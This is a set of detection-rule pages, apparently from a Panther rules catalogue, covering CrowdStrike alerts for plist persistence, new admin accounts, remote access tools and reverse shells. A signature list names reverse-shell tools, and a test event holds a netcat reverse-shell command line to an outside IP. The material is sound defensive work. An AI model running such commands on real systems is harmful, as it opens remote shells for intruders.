OR event:CommandLine ILIKE '%--replace%' -- Modifying existing keys
OR event:CommandLine ILIKE '%-replace%'
OR event:CommandLine ILIKE '%--remove%' -- Deleting keys
OR event:CommandLine ILIKE '%-remove%'
OR event:CommandLine ILIKE '%--create%' -- Creating new plists
OR event:CommandLine ILIKE '%-create%'
)
-- Exclude known benign operations
AND event:CommandLine != 'plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist'
),
{{ new_unique_values('subquery', 'device_id', 'plist_file', '1day') }}
Schedule:
CronExpression: '0 */4 * * *'
TimeoutMinutes: 5
CrowdStrike MacOS plutil Novel Plist Modification (Anomaly Detection)
#Detects when plutil performs modification operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint). This anomaly-based approach reduces noise from legitimate repeated operations while catching novel persistence attempts, even in /Applications/.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Detection logic
def rule(event):
# The scheduled query returns only new plist files that haven't been modified before
# Add additional filtering here if needed
plist_file = event.get("plist_file", "")
# Filter out empty, malformed, or invalid results
if not plist_file:
return False
# Filter out whitespace-only strings
if isinstance(plist_file, str) and not plist_file.strip():
return False
# Filter out placeholder/error values from query
if plist_file == "<UNKNOWN_FILE>":
return False
# Any valid result from the query should trigger an alert
return True
def dedup(event):
# Group alerts by device and plist file
device_id = event.get("device_id", "<UNKNOWN_DEVICE>")
plist_file = event.get("plist_file", "<UNKNOWN_FILE>")
return f"{device_id}:{plist_file}"
def title(event):
plist_file = event.get("plist_file", "<UNKNOWN_FILE>")
return f"Crowdstrike: plutil modified new plist file: {plist_file}"
def severity(event):
plist_file = event.get("plist_file", "")
# Critical: System-level persistence with elevated privileges
if any(
loc in plist_file for loc in ["/System/Library/LaunchDaemons/", "/Library/LaunchDaemons/"]
):
return "HIGH"
# High: System-level LaunchAgents or system directory modifications
if "/Library/LaunchAgents/" in plist_file or "/System/" in plist_file:
return "HIGH"
# Default: Medium for all other novel modifications
return "DEFAULT"
def alert_context(event):
plist_file = event.get("plist_file", "<UNKNOWN_FILE>")
# Determine risk indicators based on plist location
risk_indicators = []
if any(loc in plist_file for loc in ["/Library/LaunchAgents/", "/Library/LaunchDaemons/"]):
risk_indicators.append("System-level persistence location")
elif any(loc in plist_file for loc in ["LaunchAgents/", "LaunchDaemons/"]):
risk_indicators.append("User-level persistence location")
elif "/Applications/" in plist_file:
risk_indicators.append("Application bundle modification (potential tampering)")
elif "/System/" in plist_file:
risk_indicators.append("System directory modification (elevated privileges)")
return {
"device_id": event.get("device_id", "<UNKNOWN_DEVICE>"),
"plist_file": plist_file,
"detection_type": "Anomaly - New Modification Detected",
"baseline_period": "30 days",
"risk_indicators": risk_indicators if risk_indicators else ["Non-standard plist location"],
}
Rule specification
AnalysisType: scheduled_rule
Filename: crowdstrike_macos_plutil_newfiles.py
DisplayName: CrowdStrike MacOS plutil Novel Plist Modification (Anomaly Detection)
Enabled: false
Status: Experimental
Description: |
Detects when plutil performs modification operations (insert, replace, remove, create) on plist
files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only
operations (convert, print, lint). This anomaly-based approach reduces noise from legitimate
repeated operations while catching novel persistence attempts, even in /Applications/.
Severity: Medium
DedupPeriodMinutes: 1440
Threshold: 1
Reference: https://attack.mitre.org/techniques/T1547/011/
Runbook: |
1. Verify the plist modification was authorized. Query CrowdStrike for the full plutil command line on the affected device to determine the exact operation performed (insert, replace, remove, create) and identify the parent process that executed the command.
2. Review the modification context including the user account, source process, and timing. Assess the risk level based on the plist location - LaunchAgents/LaunchDaemons indicate persistence attempts (high risk), while /Applications/ modifications could be legitimate software updates (medium risk). Check for suspicious parent processes such as bash, python, curl, or remote shell activity.
3. If the modification is suspicious or unauthorized, quarantine the device and analyze the modified plist content for malicious payloads or references to external scripts. Review all processes currently running that may have been launched by the modified plist, revoke any persistence mechanisms, and hunt for related IOCs across other endpoints. Escalate for forensic analysis if compromise is confirmed.
Tags:
- Anomaly Detection
- macOS
- Persistence
- CrowdStrike
- T1547.011
InlineFilters:
- All: []
ScheduledQueries:
- CrowdStrike MacOS plutil Novel Plist Modification
RuleID: Crowdstrike.Macos.Plutil.NewFiles
Stages and Predicates
Fires when all of the conditions below hold.
Condition
plist_fileis presentplist_fileis not<UNKNOWN_FILE>
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
plist_file | is_not_null | field:"plist_file" kind:is_not_null | |
plist_file | ne |
| field:"plist_file" kind:ne value:"<UNKNOWN_FILE>" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
device_id |
plist_file |
Response runbook
1. Verify the plist modification was authorized. Query CrowdStrike for the full plutil command line on the affected device to determine the exact operation performed (insert, replace, remove, create) and identify the parent process that executed the command.
2. Review the modification context including the user account, source process, and timing. Assess the risk level based on the plist location - LaunchAgents/LaunchDaemons indicate persistence attempts (high risk), while /Applications/ modifications could be legitimate software updates (medium risk). Check for suspicious parent processes such as bash, python, curl, or remote shell activity.
3. If the modification is suspicious or unauthorized, quarantine the device and analyze the modified plist content for malicious payloads or references to external scripts. Review all processes currently running that may have been launched by the modified plist, revoke any persistence mechanisms, and hunt for related IOCs across other endpoints. Escalate for forensic analysis if compromise is confirmed.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"device_id": "abc123def456789",
"plist_file": "/Library/LaunchAgents/com.suspicious.agent.plist"
}
CrowdStrike MacOS plutil Usage
#Detects the usage of plutil to modify plist files. Plist files run on start up and are often used by attackers to maintain persistence.
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context
def rule(event):
command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
if (
command_line
== "plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist"
):
return False
event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
fdr_event_type = event.get("fdr_event_type", "<UNKNOWN_FDR_EVENT_TYPE>")
image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")
return all(
[
event_platform == "Mac",
fdr_event_type == "ProcessRollup2",
image_filename == "/usr/bin/plutil",
]
)
def dedup(event):
command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
file_name = command_line.split(" ")[-1]
return file_name
def title(_):
return "Crowdstrike: plutil was used to modify a plist file on one or more devices"
def alert_context(event):
return crowdstrike_process_alert_context(event)
Rule specification
AnalysisType: rule
DisplayName: CrowdStrike MacOS plutil Usage
Description: Detects the usage of plutil to modify plist files. Plist files run on start up and are often used by attackers to maintain persistence.
Enabled: true
Filename: crowdstrike_macos_plutil_usage.py
RuleID: Crowdstrike.Macos.Plutil.Usage
Reference: https://www.crowdstrike.com/blog/reconstructing-command-line-activity-on-macos/#:~:text=Terminal.savedState/.-,Windows.plist,-The%20file%20windows
Severity: Medium
LogTypes:
- Crowdstrike.FDREvent
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
event.CommandLineis notplutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plistevent_platformisMacfdr_event_typeisProcessRollup2event.ImageFileNameis/usr/bin/plutil
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.CommandLine | ne |
| field:"event.CommandLine" kind:ne value:"plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist" |
event.ImageFileName | eq |
| field:"event.ImageFileName" kind:eq value:"/usr/bin/plutil" |
event_platform | eq |
| field:"event_platform" kind:eq value:"Mac" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
CommandLine | |
TargetProcessId | |
RawProcessId | |
ParentBaseFileName | |
ParentProcessId | |
ImageFileName | |
SHA256Hash | SHA256HashData |
platform | event_platform |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"configbuild": "1007.4.0016804.11",
"configstatehash": "1260279761",
"entitlements": "15",
"event": {
"CodeSigningFlags": "570506001",
"CommandLine": "plutil -insert somekey -string somevalue test.app.plist",
"ConfigBuild": "1007.4.0016804.11",
"ConfigStateHash": "1260279761",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"GID": "20",
"ImageFileName": "/usr/bin/plutil",
"MD5HashData": "5a29b1ee210395604829dafd744a8039",
"MachOSubType": "1",
"ParentBaseFileName": "zsh",
"ParentProcessId": "488592041865603507",
"ProcessEndTime": "",
"ProcessGroupId": "488638905187012012",
"ProcessStartTime": "1685123957.068",
"RGID": "501",
"RUID": "501",
"RawProcessId": "51673",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
"SVGID": "20",
"SVUID": "501",
"SessionProcessId": "488592041748162994",
"SigningId": "com.apple.Foundation.plutil",
"SourceProcessId": "488592041865603507",
"SourceThreadId": "0",
"Tags": "316",
"TargetProcessId": "488638905187012012",
"TeamId": "-",
"UID": "501",
"aid": "1234abcdefghijklmnop",
"aip": "1.2.3.4",
"cid": "abcde098654321xyz",
"event_platform": "Mac",
"event_simpleName": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"timestamp": "1685123957235"
},
"event_platform": "Mac",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
"name": "ProcessRollup2MacV9",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_md5_hashes": [
"1234abcdefghijklmnop",
"5a29b1ee210395604829dafd744a8039",
"abcde098654321xyz"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
],
"p_any_trace_ids": [
"1234abcdefghijklmnop",
"abcde098654321xyz"
],
"p_event_time": "2023-05-26 17:59:17.235",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-05-26 18:11:03.404",
"p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
"p_schema_version": 0,
"p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
"p_source_label": "Crowdstrike",
"timestamp": "2023-05-26 17:59:17.235"
}
Crowdstrike New Admin User Created
#Detects when a user account is created and assigned admin permissions
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Rule specification
AnalysisType: correlation_rule
RuleID: "Crowdstrike.NewAdminUserCreated"
DisplayName: "Crowdstrike New Admin User Created"
Enabled: true
Severity: High
Description: Detects when a user account is created and assigned admin permissions
Reports:
MITRE ATT&CK:
- TA0003:T1136.003 # Persistence: Create Cloud Account
- TA0003:T1098.003 # Persistence: Additional Cloud Roles
- TA0004:T1098.003 # Priv Escalation: Additional Cloud Roles
Detection:
- Sequence:
- ID: AccountCreated
RuleID: Crowdstrike.NewUserCreated
- ID: AdminRoleAssigned
RuleID: Crowdstrike.AdminRoleAssigned
Transitions:
- ID: AcountCreated FOLLOWED BY AdminRoleAssigned ON target AND actor
From: AccountCreated
To: AdminRoleAssigned
WithinTimeFrameMinutes: 45
Match:
- On: p_alert_context.actor_target
LookbackWindowMinutes: 2160
Schedule:
RateMinutes: 1440
TimeoutMinutes: 1
Stages and Predicates
Fires when the steps below all occur in order within 45m, correlated by p_alert_context.actor_target. Each step needs one match unless a higher minimum is shown.
Stage 1: step AccountCreated ordered before $AdminRoleAssigned
References detection Crowdstrike New User Created.
Stage 2: step AdminRoleAssigned ordered after $AccountCreated
References detection Crowdstrike Admin Role Assigned.
Crowdstrike New User Created
#A new Crowdstrike user was created
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Detection logic
from panther_base_helpers import key_value_list_to_dict
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event):
return all(
[
event.deep_get("event", "OperationName") == "createUser",
event.deep_get("event", "Success"),
]
)
def title(event):
audit_keys = key_value_list_to_dict(
event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
)
actor = event.deep_get("event", "UserId", "UNKNOWN USER")
target = audit_keys.get("target_name")
return f"[{actor}] created a new user: [{target}]"
def alert_context(event):
context = cs_alert_context(event)
actor = context.get("actor_user", "UNKNOWN_ACTOR")
target = context.get("target_name", "UNKNOWN_TARGET")
context["actor_target"] = f"{actor}-{target}"
return context
Rule specification
AnalysisType: rule
Filename: crowdstrike_new_user_created.py
RuleID: "Crowdstrike.NewUserCreated"
DisplayName: "Crowdstrike New User Created"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Info
CreateAlert: false
Reports:
MITRE ATT&CK:
- TA0003:T1136.003 # Create Cloud Account
Description: A new Crowdstrike user was created
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm the new user is valid.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameiscreateUserevent.Successis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"createUser" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UNKNOWN USER | event.UserId.UNKNOWN USER |
Response runbook
Confirm the new user is valid.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "target_name",
"ValueString": "frodo.baggins@hobbiton.co"
}
],
"OperationName": "createUser",
"ServiceName": "CrowdStrike Authentication",
"Success": true,
"UTCTimestamp": "2024-07-22 15:50:16.923000000",
"UserId": "bilbo.baggins@hobbiton.co",
"UserIp": "1.1.1.1"
},
"metadata": {
"customerIDString": "face_customer_id",
"eventCreationTime": "2024-07-22 15:50:16.923000000",
"eventType": "AuthActivityAuditEvent",
"offset": 1238741,
"version": "1.0"
}
}
Crowdstrike Real Time Response (RTS) Session
#Alert when someone uses Crowdstrike’s RTR (real-time response) capability to access a machine remotely to run commands.
Detection logic
from panther_crowdstrike_fdr_helpers import get_crowdstrike_field
def rule(event):
return (
get_crowdstrike_field(event, "ExternalApiType", default="<unknown-ExternalApiType>")
== "Event_RemoteResponseSessionStartEvent"
)
def title(event):
user_name = get_crowdstrike_field(event, "UserName", default="<unknown-UserName>")
hostname_field = get_crowdstrike_field(
event, "HostnameField", default="<unknown-HostNameField>"
)
return f"{user_name} started a Crowdstrike Real-Time Response (RTR) shell on {hostname_field}"
def severity(event):
if get_crowdstrike_field(event, "UserName", default="").lower().endswith("@crowdstrike.com"):
return "INFO"
return "DEFAULT"
def dedup(event):
return get_crowdstrike_field(event, "UserName", default="<unknown-UserName>")
def alert_context(event):
return {
"Start Time": get_crowdstrike_field(
event, "StartTimestamp", default="<unknown-StartTimestamp>"
),
"SessionId": get_crowdstrike_field(event, "SessionId", default="<unknown-SessionId>"),
"Actor": get_crowdstrike_field(event, "UserName", default="<unknown-UserName>"),
"Target Host": get_crowdstrike_field(
event, "HostnameField", default="<unknown-HostnameField>"
),
}
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 60 # 1 hour
DisplayName: "Crowdstrike Real Time Response (RTS) Session"
Enabled: true
Filename: crowdstrike_real_time_response_session.py
RuleID: "Crowdstrike.RealTimeResponse.Session"
Severity: Medium
LogTypes:
- Crowdstrike.Unknown
- Crowdstrike.FDREvent
Tags:
- Crowdstrike
Description: >
Alert when someone uses Crowdstrike’s RTR (real-time response) capability to access a machine remotely to run commands.
Runbook: >
Validate the real-time response session started by the Actor.
Reference: https://falcon.us-2.crowdstrike.com/documentation/71/real-time-response-and-network-containment#reviewing-real-time-response-audit-logs
Stages and Predicates
Fires on Crowdstrike.Unknown, Crowdstrike.FDREvent events when the condition below holds.
Condition
ExternalApiTypeisEvent_RemoteResponseSessionStartEvent
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ExternalApiType | eq |
| field:"ExternalApiType" kind:eq value:"Event_RemoteResponseSessionStartEvent" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
Start Time | StartTimestamp |
SessionId | |
Actor | UserName |
Target Host | HostnameField |
Response runbook
Validate the real-time response session started by the Actor.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"cid": "12345abcdef",
"unknown_payload": {
"AgentIdString": "12ab56cd",
"CustomerIdString": "1234",
"EventType": "Event_ExternalApiEvent",
"ExternalApiType": "Event_RemoteResponseSessionStartEvent",
"HostnameField": "John Macbook Pro",
"Nonce": -4714046577736361000,
"SessionId": "6e1181e4-4924-4761-az3d-666851jdb950",
"StartTimestamp": 1670460538,
"UTCTimestamp": 1670460538000,
"UserName": "example@example.io",
"cid": "12345abcdef",
"eid": 118,
"timestamp": "2022-12-08T00:48:58Z"
}
}
Crowdstrike Remote Access Tool Execution
#Detects usage of common remote access tools.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context
REMOTE_ACCESS_EXECUTABLES = {
"teamviewer_service.exe",
"winvnc.exe",
"racwinvnc.exe",
"tvnserver.exe",
"ultravnc.exe",
"remotelyanywhere.exe",
"logmein.exe",
"g2svc.exe",
"vncserver.exe",
"awhost32.exe",
"r_server.exe",
"raabout.exe",
"anydesk.exe",
"ammyyadmin.exe",
"putty.exe",
"mstsc.exe",
"chrome-remote-desktop-host.exe",
}
def rule(event):
if event.get("fdr_event_type", "") == "ProcessRollup2":
if event.get("event_platform", "") == "Win":
process_name = (
event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
)
return process_name in REMOTE_ACCESS_EXECUTABLES
return False
def title(event):
tool = (
event.deep_get("event", "ImageFileName", default="<TOOL_NOT_FOUND>").lower().split("\\")[-1]
)
return f"Crowdstrike: Remote access tool [{tool}] detected"
def alert_context(event):
return crowdstrike_detection_alert_context(event)
Rule specification
AnalysisType: rule
Description: Detects usage of common remote access tools.
DisplayName: "Crowdstrike Remote Access Tool Execution"
Enabled: true
Filename: crowdstrike_remote_access_tool_execution.py
Reference: https://attack.mitre.org/techniques/T1219/
Severity: Info
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.Remote.Access.Tool.Execution"
Threshold: 1
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
fdr_event_typeisProcessRollup2event_platformisWin
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event_platform | eq |
| field:"event_platform" kind:eq value:"Win" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "123456789abcdefghijklmn01234567",
"aip": "1.2.3.4",
"cid": "987abcd8765ghijk5432opq21",
"configbuild": "1007.3.0016606.11",
"configstatehash": "3799024366",
"entitlements": "15",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "0000000000bc97f7a55c355f06119abc90155e8a",
"CommandLine": "C:\\Windows\\System32\\chrome-remote-desktop-host.exe",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\chrome-remote-desktop-host.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "0000000000df0bc6120d437e0a7e1281",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106752.006",
"ProcessSxsFlags": "64",
"RawProcessId": "1468",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4390327988",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "123456789abcdefghijklmn01234567",
"aip": "1.2.3.4",
"cid": "987abcd8765ghijk5432opq21",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"timestamp": "1682106752722"
},
"event_platform": "Win",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_md5_hashes": [
"0000000000df0bc6120d437e0a7e1281",
"123456789abcdefghijklmn01234567",
"987abcd8765ghijk5432opq21"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be"
],
"p_any_trace_ids": [
"4295752857",
"123456789abcdefghijklmn01234567",
"987abcd8765ghijk5432opq21"
],
"p_event_time": "2023-04-21 19:52:32.722",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:05:52.94",
"p_row_id": "0000000000224847bdd7fa2ef5daae32",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"timestamp": "2023-04-21 19:52:32.722",
"treeid": "4295752857"
}
Crowdstrike Reverse Shell Tool Executed
#Detects usage of tools commonly used to to establish reverse shells on Windows machines.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution |
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context
REMOTE_SHELL_TOOLS = {
# process name: reverse shell signature
"nc.exe": ["cmd.exe", "powershell.exe", "command.exe"],
"ncat.exe": ["cmd.exe", "powershell.exe", "command.exe"],
"socat.exe": ["cmd.exe", "powershell.exe", "command.exe"],
"psexec.exe": ["cmd.exe", "powershell.exe", "command.exe"],
"python.exe": ["cmd.exe", "powershell.exe", "command.exe"],
"powershell.exe": ["System.Net.Sockets.TcpClient"],
"certutil.exe": ["-urlcache"],
"php.exe": ["fsockopen", "cmd.exe", "powershell.exe", "command.exe"],
}
def rule(event):
if event.get("fdr_event_type", "") == "ProcessRollup2":
if event.get("event_platform", "") == "Win":
process_name = (
event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
)
command_line = event.deep_get("event", "CommandLine", default="")
signatures = REMOTE_SHELL_TOOLS.get(process_name, [])
for signature in signatures:
if signature in command_line:
return True
return False
def title(event):
tool = (
event.deep_get("event", "ImageFileName", default="<TOOL_NOT_FOUND>").lower().split("\\")[-1]
)
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
return f"Crowdstrike: Reverse shell tool [{tool}] detected on host [{host}]"
def alert_context(event):
return crowdstrike_detection_alert_context(event)
Rule specification
AnalysisType: rule
Description: Detects usage of tools commonly used to to establish reverse shells on Windows machines.
DisplayName: "Crowdstrike Reverse Shell Tool Executed"
Enabled: true
Filename: crowdstrike_reverse_shell_tool_executed.py
Reference: https://attack.mitre.org/techniques/T1059/
Severity: High
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.Reverse.Shell.Tool.Executed"
Threshold: 1
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
fdr_event_typeisProcessRollup2event_platformisWin
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event_platform | eq |
| field:"event_platform" kind:eq value:"Win" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
ComputerName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234abcd4567efghi8901abc",
"aip": "11.10.9.8",
"cid": "abc987jkl654mnop321",
"configbuild": "1007.3.0016606.11",
"configstatehash": "3799024366",
"entitlements": "15",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
"CommandLine": "C:\\Windows\\System32\\nc.exe -e cmd.exe 1.1.1.1 80",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\nc.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "5fd22b915c232378e567160d641cc9f2",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106752.006",
"ProcessSxsFlags": "64",
"RawProcessId": "1468",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4390327988",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "1234abcd4567efghi8901abc",
"aip": "11.10.9.8",
"cid": "abc987jkl654mnop321",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"timestamp": "1682106752722"
},
"event_platform": "Win",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"11.10.9.8"
],
"p_any_md5_hashes": [
"5fd22b915c232378e567160d641cc9f2",
"1234abcd4567efghi8901abc",
"abc987jkl654mnop321"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
],
"p_any_trace_ids": [
"4295752857",
"1234abcd4567efghi8901abc",
"abc987jkl654mnop321"
],
"p_event_time": "2023-04-21 19:52:32.722",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:05:52.94",
"p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"timestamp": "2023-04-21 19:52:32.722",
"treeid": "4295752857"
}
Crowdstrike Single IP Allowlisted
#A single IP (instead of a CIDR range) was allowlisted. This could indicate a bad actor permitting access from another machine.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Credential Access |
Detection logic
from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context, str_to_list
def get_single_ips(event, fieldname="cidrs") -> list[str]:
"""Searches the "cidrs" field of the event audit keys, and returns any cidr entries which
are actually just single IP addresses."""
single_ips = []
audit_keys = audit_keys_dict(event)
cidrs = str_to_list(audit_keys.get(fieldname, []))
for entry in cidrs:
if "/" not in entry:
single_ips.append(entry)
elif entry.endswith("/32"):
# A 32-bit CIDR range is the same as a single IP address
single_ips.append(entry[:-3])
return single_ips
def rule(event):
# Only alert if an allow list is created or edited
op_name = event.deep_get("event", "OperationName")
if op_name not in ("CreateAllowlistGroup", "UpdateAllowlistGroup"):
return False
# Only alert if there's a single IP address allowed by the allowlist
single_ips = get_single_ips(event)
if op_name == "UpdateAllowlistGroup":
# Remove IPs from single_ips if the weren't recently added
old_single_ips = set(get_single_ips(event, "old_cidrs"))
single_ips = [ip for ip in single_ips if ip not in old_single_ips]
# Return true if there were any single IPs
return len(single_ips) > 0
def title(event):
# Title format: {actor} granted {contexts_str} access to {a, X} single ip{s}
single_ips = get_single_ips(event)
actor = event.deep_get("event", "UserId")
# contexts_str: one of API, UI, or API & UI
# Also a more general case: API, UI, and XX (for if they add extra contexts in the future)
